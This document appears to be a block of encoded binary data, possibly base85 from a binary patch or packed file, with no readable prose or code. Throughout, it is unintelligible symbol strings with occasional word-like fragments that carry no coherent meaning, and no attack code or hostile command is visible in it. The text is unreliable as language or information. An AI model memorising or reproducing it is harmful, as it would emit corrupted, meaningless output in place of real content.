z$GJ{DaDhkfgO9@|;oLk85xIGg+b7gy$;|^^t`mgqg2=6-SK)fK%*_Ko(HpSG1aiZ< zd1QTFr|LDh-iY>^fUnX`I&$o60Twf_j>`G3EHXtM*qL+p1glW58uiLBwo1`%iF@p) zs5{sR-z-7@OL4snydCfhjMt!LtRkP5k(-D63)~_%PX_X-AU6-5$*iB0n_@NJcdH5vKzvwP5w%zSzpe5_B_fym8+96+3#N7UUY$2@ZL z{Fdt?rw`kS_iLEBd0vDZQ5Jw5^YeM#vwpBh#ti<(9eH+c=QfbLC!Cw7*loo6pIGio ziu3utV|^jkPMn)(De8#aJZMkIOp`L#LS{s69zV-ZgZx)zZk}{Qe&|_?{B$WFYckHw zb3N(^dttnWFiy?2fym8MjPIZ^M{~c9W1Yb5FL?d*xp@*fF3Q|I4)Ahro-3f2J_bxq{|8RBQR5xIFReB8$I`9?qWQS4JaiTmJj{5sKA7uwqH z8e^MtZXV%#`&@Dk$3C!LJj>?XJUc8oH1^6I8i!o;bJo>9nXhCg@(<&j_t$&mYLm^8wn_2apTpuq8LoVdQKWn83Bc#D%ip1{ba5wt+|Jp?N|N zA~#RVgbu`gWt)q>#r(~(|E(@s!dP4K=s^=}E9ACGe0>wSd5k$ON&5w3YzM{;OKzSH zU~Hejc%O+8Wx-k(x`OAm@!W8J3}eomsWqdm$lN@)qRjXf?p%Be=MsN|AQ%weOP-pW zr`pKPvx%Sk*x{pGHyv2*dGr$;hxP21dKPmf^c+2*=l(buSK?jtB-e4HesrFZn0dC|I7YCv!jdLI&RDirhR0oMT@{nSKDd zc@DxSAwLAaJY8-c56{srG-=DEWp18!nVV;W%+1q;dYqdleIhqckk>`X&C?Ic-&+rWhI8}uV+^I?T>!9+ zq(P_Yx%7@td3G1?P2DJS^E4W^;%D~za9lwM!%YEX%n~@3I;_rg!Sx)*L zU(1AkvU2GS@aqkW-th8w<>EJyo9A=BmJhxn{EBnOit+ud@PjhwvmEj&k(+0^a}3Y* zk8%B}a`SNcU7fQlUGoSUa~vcI%2#uE4nKbx*{(hH2QG?!lHa`>Id%~Op!GB*## zF5aWg)E;KOGGHr*UMi8BXE}27!2buTkejC(wnANzo2Lf*X@ZvAJheDKj_=;rfD&jO z=on}{+Th$g4NjVYz6Kj|Cvx*_mwn*eJe|mW#BDd`QU-Lyxp}T&+5~=J<9s~f+&pcQ zbMu_XecAxLE!@@=xp|tM6bo5{;0ZOKnw!VVHfceh@vgZy3dgNZ+W#%cY?ouA)wtHe zc-qho%AGh4b)dWxJlid~c@pp~ZIvMC(LdiwqrfZHkth$w6o0JtC!hWT`!fs(#nVYAR z+Z%S!&CCP+>ccto-#896BLlW7wK*isnOT+%BbnFSjzP2O4By#g$KbkfF&1+uN2`Ka?(+tST z!ruhMaetP~3lWfcAu>QSv40Eg>Y2#@!)<}*5~kouWr{v=TL&2%_cdSkZ>=Ra&j#b0 z*Cg;9!CpA=t~g)jtUz5Wwr3bqsX{GGi-4^}p*F@=BC(Z9Y(=2O3bD`Y#n{KiSis|A z3Lb|A+ct@fZ6(?+L;SBabpKTaWS1jPh!tDq)Y$G}Of?FvX1W~Ms_{2h8C$i)RwJ=3 z2dz@*zZhE;Y{3*feN4ggH>Of=Px0{%?DsPFI7X`zxp`vk^eC>gUX3+2;y^omsTFac zO~ip?NP2R`^ewLU%yskyf0y8TJWce2CmU9TT~E%(Y^F zizB>V9B6gWXOJgs+=0K1`3>%;#bz=$PagNbQ=vgny%YI?&|at&@wp3r)Q0%HU7`Qr zes#f5xBKw7J}hH&$JFECztAszFY;nB-HCqmD)bv1_xH+iuvd$CC*ai& zA^#U>s2w`&1BMRha6q9UzSajF4nPOs568K~Q|qvVbvLR|1=Atua9E)gtixfc!%?Zj zA<&}=A=x?haQNttOu_RmQ}FP3*E2Ra(q4?HDg&o|HKfPD185 zVi)s|`>2~Kc(#lBetMm$v`Yn!SvSFGS)`+Pqc5zl8cmia0r zGmS+qf_RnE7*o8&G+$zh1&ve17{S=5XBh){e#8_!>n)i61INKq_)3;Kk(;L;If+ot zSVgS78$ObXd=s6Bm0hNfSaS0;7{WvNKWHO_=U$WSRRMc_>Y$gxe6Xdo8INg&<&>(_W?nD#(M_DE2b(UZ0r@w)Qw!=Ql(Z?OIPnAlC z_}X&Vr^-(Uz#q0x_0;wWuwCj@x`}BG?6XFt+u1&Aq zrr`MvQ)!=ja6HLA9V&ebWvAGuANJV*>^otf9$_Ek5ioM|Y~{W-;%`o&-pB^nrxE#o zSVk9~cNJU4(>mDaGY4H~@|8@s&reuR6LO20*PHyrde$L_?X%=e_Tk(-%@etKl1&-S z$nP_SeZJ3awc_t$vHVtyf6&lQ*ryGB?16pSRjT1@ZLm+fpQ^0(>6qF+hg{&_fpNjK z6ZYAz(q}mC-!AR5L)xbkv`eMgEWgW7w=xCKVy57^nW>ELU!h%nuS$PnnL8n~SEY|w zX0MdFSIXQ8+M|+#>-PA`&lEgaOu@rCH*G!$nQUKupNQ@IBXjdyZSCv6sr$N-@${+m z3ey9?bx5UOF|I=rSD(an0Q8_rf9HN2^iw?J0FUT9c;YO$dcY&r12LA|JOe8IM&cFm zVnF8RIf)!%GB*$Ar~P=9CHBp_S;k?N*e6F$!WR!C|BtLM_&7IDvL!c9s&St}=5r8? zi~b=M&lWJR@fz?bat@(BKU*J+!x}Ii-!7s&oSP@@)Z9F`Ll42DShsS_8}iei`S}eW zqbxKGU5%>rA!HsI#`!4rf>`DTV=V|@9)~Xv8o7B^n|&GgQ%@#j!#9Ne+H*v#c?a@? zb{nl^oc3&b6IA5padR#P$HKm)wu#(40S9HHJRENV zGB;0v^J^Hnd4%0$Zk{IYYm$wwK%J2Qo+lmW`G}){#t{XW@Nvq#Zdo zPyR%19-E0dKbvlv!j89b-->K>5>zkBrW?U8a`P0k9g&--1i64vrWd2HCE1h*zOWrj zfnkcZ*sstBeYuU^Vp;~wl{R`8$NiPkj?1MT%RtL*G{S9{XVc}}4tUa-g69&ZGA4b< zJhe9JWSLcvS!1K^EVD++td%mWK&x%k$NbgVG>2t?=X|E%nZ;E4##_v@27bz8c~?Yk zo}I?Cm1*D!_jk?I{rxUuYP8XlOzVKH!A9#DTZ6>bD6!Rn*4xBb(Cf45IJXa;VW!~u zjH$%-0*=M}&SMz<$@yxYL)j#s<=i~&?6XF09?=h(o2UOSu5Tmu$&q&WY*RL|4*NHt z5AYd06Wc%7%=!$xUH|6;$Nr>15wSZk{gK zo3C}E&8}=}2Y=WW+o!fg9NVB5IlY+ffGv7#bP3y{N7|xS+G5B5#opV;S5;m4|L5i= zoQ9ENTrPk7pq4{>8by~ST49?irgxK*0 z+RBVFnpOvpcEmazp|-U%wqrut8lWAug66cO{NA5^_PN>jo6b*0Q#bhWZLi~nW}dELp)Gq=z`jpvew$<6bU z-Ko^Ara@|K~*Sv*bgf-u{=6$+L6(PpX{}jPEv1AigZ8Ty7kB&KXCZFYrrM zo^@7t3~}?iyiiCR&)f0ixjFt7z%p{;S=S5jyHGvdCm@KyFj$PT;T8F+Wzt!|6JNIxq0?UmgMGng*-^YeIK%Xg>PL_ zE+@;^<7N3Ew6rIa{y*#bCb%Ce@V~?V-G{6!lQyTqo5=DH@JVg|VUAy}b|_P(D`h6= zYGwJf@Z`VY$y}}%C;crv%k`^bo115baw-J5d5k=5Zl0r5e^}CgnCt!-ulM9GGXbu)+&pv11*CU%=;_=#|NE5B$?jrsh?xV3sX;b^az@Df4YzDf3NT?Huqy{l6*cpCXuxfq8w>KT|NTw=i$AFc)*J zPx>EG`T9EleqAZ^_ohDie{{9_P{)7CzWwH8Fb}W>=;r2G>(Y92JgvV^0`GR>al&gk zc&$wOBZb#Wi`VTIujO2CP5L!z|JFKxg|3t_v{U952d^^z=X@lM{|}Iph-W!HMR!eZ zo;#$cL2e$Sr#3gwwUTLL(l4UU{yWgq#ybBh)n6WoH*8~!_6z+3lsDxf{?P)#S)KG> z58tn@^XCF*w_>pBN9bOExp|142Dy3a1NiNS}c@ z%l|x?J_mk0%af^c^L$q_4RZ4sncCbuzrBX~k0gER(?@7q^>2;Hv^L1i(-4-6 z$n-_Qd5oBU`2Mjv|400nOgrlxxvq-O&GUK6w$rAOFZL6)PCR|zesItr~h*`xp|(JEXmFDEP0Uh?rCKCY@NTJ@;O;P7ca}v zlHp6N%jx<&vV0LAN3wj;%JL;E%jdbiko2YV?Jv~%U)Gf}cj!u)FY0P#c?SRUWO*p* zpUks7St>WrKFKo3&4VmAc{VrCXGCWwdP$xA`;cWP{a^K0Mr3Jo^9&EmMP#{5a9&RO z!@~D3*ZGV2-$#~-_}n}rC~IfaubWo?j~=O4my5m_F%8aSne z{(a&5()0Y^@V}2NSHnb&^D*aZ1p$_sP3c|IMsSG z%l{B=RfYa7YNLw$A6!jtp2^BVLT;XEAyxp{6S50ctnjx29I&%cmzIa#iZmt|Xm@^=*aPwRR+ zvRqy0^Nsp@cCWUwyu-@!cCL+u{+nvM@jU-@wL_Wr>PneYb+xkmx$xw_^4sKc^W0tN zKhN`=Jny!-d0HgTAUBVZr_Ie%AsFil{q0=$w*YG$`G07`?H7uFv2SG)`&Ksfmz!r( zSpOk-vJoEGm`_UZA0aOlSLKlOfNgT~JSJXVLw;Gy=f|k`-Shl6u5x&}J)W1>iH9!~ z`k&PGS$O$;q5oO&@_Eb47c4KI<@y}^Uexw;z}J;BFX>8|U+DTGZ7}cTa`SAtuuXka zxp~a<;p}Nh=vT6@W1l`hZFBR)RnYo~(zJIc3nXuG%T;0s=B&&q<LPeGPVC;X8(fO> zar!6WQyjtPcjx;z3m@|RxU@z7mH^0sD&&gUiwH04_Jh;WGLH zf68HS*@xct#~103t2@#Q$>R<7I*%`5Ux?Sxra2Hk-_eD>Ru`t*v=91B+U!C`Z^-sQ zclS`QWH|ab%S| zjf>#5NBRmMIv5+olcwb2?tQ?!7@k}N&Od-BL*dCq znbR{rfG1O0R}*_Lxua)gT|h%Jkx9Qr-uxUKT;4?aA{pb&-BWg1Fb+sw`{&oTN?zhu$X7EzeKyEFqi>^W@1Np+E2tatHm|JR@8_1i(J6bV z4tr*P61)nLTOy;eR(YfLGmbVu(}n!n;r&$VbiiK|SAxg8;lIufjYTKS{ziD-%vjRp z%on1mT=k@%z^iUp+>Ole`Dg#Mi7}*S<$2Ip*9s1X#zT$LhoaUV?wc4d&E8vdV|@sB zc(8X>bxk|rJ@ZlGc;Gg8nadV>_pIlA%Hw-)=+k=7dsOpMR&}7QlK;Z%8p;{Gm>RA#>eu;6S_hB7K|T1?LlUIF75WUF$_Lk_c?$XGwFQ66;CHl*52y{xd$mzO8(qvvVgFIzX$RJBa9;cvRU`hA( zj!Cz5m8RRKCcL)lBCkz-BkULZM@&SI=vQ^jx!VhNWyy!Gm{v3Srq>e(=}IOyw2+@S zORnMv@uj8Po5^+ikN9Hx4s9#C^&q;ITD6!m$9AVG(|)Qa{e0>iFH`c{&)(IFozEe> zwIdntyn@+3ZB-u1q{ms-l6}qO=A7+$nQK#Ncyc_?3pQjM%ev>G=h@`(F|dw{z#q`>Rsd1D>LKm zLVjDtWlcL}X@3%BSc~1Da+~q1Hxsu$jXv@yu`k)6g4YZ@!A^||`fir`D%*^`-%1{9 zm8&rI$9AtM2>M&I!Q+~sUQt-@Dr6JXTTeVDgr_m=0J7ME-fG<3Up%K=X8ET{l0!4_w;*> ziCxKY$aZ4)xP-S^@DI@EHKv&{47)ZQ!`ji?&5SkC=hAt1{8xWv{4wpHM7ysn3i^*} z8yvE<9i0P=t(h!ZnA*SY1ba~jUsdO^cEFP+8nIs7i*cM-o!`292G{)OLA)>yy8 z^!sg4E9crdz994FqW*JD9%?M#^~SBq!0x#1+)UR>`+wUxnXcRI|HL_&Y;t6G zR<_Buvol%tbp-#<<@u=Y9g+w69<%HRaPgE6uw&{R=A|+8-#{jsi?sIl1n0;kd#zmt zb%J@rjI&Jz8fSM_dgYlP=)9TA@$HH#qcg$(X4Y{#dDq0ZfrcFA-P6qayT;)reXm6L z{O26MfHMILuC(=OXWwZWXM_5!jFme+KP2-Ey6^_ih09Uzb>1h(cJElvd-P-!&-H$? z`<{Nc<0;;wL#92OPww}$Cp{FtJJ2ojt~tnu`MUcKo!gQu>n;PP=xb&SpGUuzox3M2 zNB`FN?(!$gvsT80Ci;8zsIV^tywf^Vvl*WjcBjUA{sTRS)&=+DyU)$>;Y!Msc2~m7 zCgzD|#-;U)FImRC?URZ#JAUo?uk$XTf#=(gdEB&b=k=|>X3k|kk6X5B z`v)IyuMf`Fs2#0s{s!1OBXj_Kw2qWQAG($&nQMY^RQhq%jDRQlM#LD)3;pl9DH-t7 z;-YU!Xbnl@Q`d6dU!U~Xd?0|c_g3Cr&u?+kpI19FBe`E#QsDnu@D{TU$otcm^4;d) zW?g@+*HjqjTzh%uWb{hk%J?0!>7tymo9gSx(^Ql>p89If=xMvH<5grTs3Vxwt43x{ zr`%+v#zd3IPRWX z*VA!vT~GV`x}NG)g_(+s*K@+XUQgBEdp(oB=JizmZ0Sd|*QWjQWKYVw?&~EzpL~AL zA|tE2H1@Dob%o*iBIuivzAM#J{#sp;cf~mP@{h>{-JQ2X-%5DQTrZujPI$9YAN!lj zuw{Zgm!rJ4Wj0Uc`MlqqEZUGIr|U1#{VvY2zRdL(*iauy1@KzGmdsTk>_q?+kuQFQ|bOMY5V-s=Jfn(TC%6S zBKeaqdY}IKp2_ruZ6h-m9$VlSj{K{M|EFf@#9vNN_AJ&IG_9_ufIKnn)9ZS?nrkQK zbYO;~12bcEVCFlg10RCEUlhN6Ixr7-&j7Du#yhVAC)3uqX{(*K-bo!8Lp%4-POJ{l z_W6u4znb9aKq)%Vfew@v_^&eWbxf%1?eFD|tgB*VUG>h%x&wRu+P6{GKLp+-l6Cnz zFYAA%tr?OvZM~DSzK?c}?N8RUZTkB#N7lv2n!H>WR|uIGWnD%)UspTK`^J``J&off8pqk+HLnu6 zo><`TkWFsmLZQ7-#h9Ra?Qa%6Y2JtS(qwFzQs)0+*7Dg0*8b-CPZ}GgvLMsNezA>5 zqa*AE(=%^rk{C$RUt{x1d=7ltY0D#@CARsd%8H6iCufFo_EECVAKNh`v+44nZMWUc zJ>=FEOzfiXoXUIbuT{X44Pop;?AGhRS$5&gYKQ%A#x7(Jp=%d@in_)YV^7?dX-77y zzHQgVzB#u&?VD?-uHf%wznoz0Ne!$~8>HC1y_8e$ZxUnxVLEMeFqU@L7d@wlnR2G<=q}&-SPNCE>Fr_Sx37e@*zT z!9M$C+P^Y<)?}akIPG5=KHF-ab*KIJhtJyWvmI%FZurbA2=Mz&+Mg3XtFX`hJ?)